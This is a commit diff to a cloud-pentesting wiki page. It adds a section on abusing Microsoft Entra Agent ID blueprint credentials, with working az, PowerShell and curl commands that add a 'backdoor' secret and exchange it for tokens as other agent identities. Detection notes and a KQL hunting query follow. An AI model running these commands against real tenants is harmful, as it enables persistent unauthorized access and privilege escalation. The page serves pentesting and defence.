Skip to content

Commit f6523f3

Browse files
author
HackTricks News Bot
committed
Add content from: Investigating Suspicious AI Workflows in Microsoft Entra Age...
1 parent 2aea30d commit f6523f3

1 file changed

Lines changed: 93 additions & 0 deletions

File tree

  • src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -273,6 +273,92 @@ If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","messa
273273
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
274274
```
275275

276+
277+
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
278+
279+
**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities.
280+
281+
This turns a bad Entra Agent ID role assignment into both:
282+
283+
- **Persistence**: the new `passwordCredential` remains on the blueprint until removed
284+
- **Privilege escalation**: a low-trust/dev agent can cross into a different high-trust blueprint and then act as its child agents
285+
286+
Typical dangerous paths are:
287+
288+
- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
289+
- A compromised owner/sponsor/admin able to manage the blueprint
290+
- Theft of an existing blueprint secret/certificate
291+
292+
Add a new secret to the target blueprint:
293+
294+
```bash
295+
az rest --method POST \
296+
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
297+
--headers 'Content-Type=application/json' \
298+
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
299+
```
300+
301+
Or with Microsoft Graph PowerShell:
302+
303+
```powershell
304+
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
305+
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
306+
```
307+
308+
If the new credential is accepted, authenticate as the **blueprint principal** and abuse the Agent ID token exchange. The first request uses the blueprint credential and sets **`fmi_path`** to the target agent identity. The returned token is then reused as a **JWT bearer `client_assertion`** to obtain a Microsoft Graph token for that agent identity.
309+
310+
```bash
311+
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
312+
-H 'Content-Type: application/x-www-form-urlencoded' \
313+
--data-urlencode 'client_id=<blueprint-principal-app-id>' \
314+
--data-urlencode 'client_secret=<new-blueprint-secret>' \
315+
--data-urlencode 'fmi_path=<target-agent-identity-app-id>' \
316+
--data-urlencode 'grant_type=client_credentials' \
317+
--data-urlencode 'scope=api://AzureADTokenExchange/.default'
318+
```
319+
320+
```bash
321+
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
322+
-H 'Content-Type: application/x-www-form-urlencoded' \
323+
--data-urlencode 'client_id=<target-agent-identity-app-id>' \
324+
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
325+
--data-urlencode 'client_assertion=<token-from-previous-step>' \
326+
--data-urlencode 'grant_type=client_credentials' \
327+
--data-urlencode 'scope=https://graph.microsoft.com/.default'
328+
```
329+
330+
> [!CAUTION]
331+
> If a **dev** blueprint or its child agent can add credentials to a **prod** blueprint, the attacker crosses the expected blueprint/agent trust boundary and gains durable access to the target agent infrastructure.
332+
333+
Quick validation / scoping:
334+
335+
```powershell
336+
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
337+
$sp.AdditionalProperties['@odata.type']
338+
$sp.AdditionalProperties['agentIdentityBlueprintId']
339+
340+
$app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
341+
$app.AdditionalProperties['@odata.type']
342+
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
343+
```
344+
345+
Hunting notes:
346+
347+
- Look for **`Update application – Certificates and secrets management`** in [Az - Monitoring](../../az-services/az-monitoring.md)
348+
- Correlate **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, and **`AADServicePrincipalSignInLogs`** using time, service principal ID, user-agent, IP, and `SignInActivityId` / `UniqueTokenIdentifier`
349+
- In `MicrosoftGraphActivityLogs`, check `RequestUri` ending in **`/applications/<id>/microsoft.graph.addPassword`** and whether `Roles` contains **`AgentIdentityBlueprint.AddRemoveCreds.All`**
350+
- In `AADServicePrincipalSignInLogs`, review `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, and whether the new key was later used
351+
352+
Minimal KQL to see whether the newly added secret authenticated:
353+
354+
```kusto
355+
AADServicePrincipalSignInLogs
356+
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
357+
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
358+
```
359+
360+
This is related to generic [application credential abuse](../../az-services/az-azuread.md#applications) and [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), but Entra Agent ID adds a second stage where the blueprint credential can be exchanged into a **different agent identity token**.
361+
276362
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
277363

278364
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
@@ -523,4 +609,11 @@ az rest --method GET \
523609
- `microsoft.directory/applications/appRoles/update`
524610
- `microsoft.directory/applications.myOrganization/permissions/update`
525611

612+
## References
613+
614+
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
615+
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
616+
- [Microsoft Learn - Authenticate and acquire tokens for autonomous agents](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
617+
618+
526619
{{#include ../../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)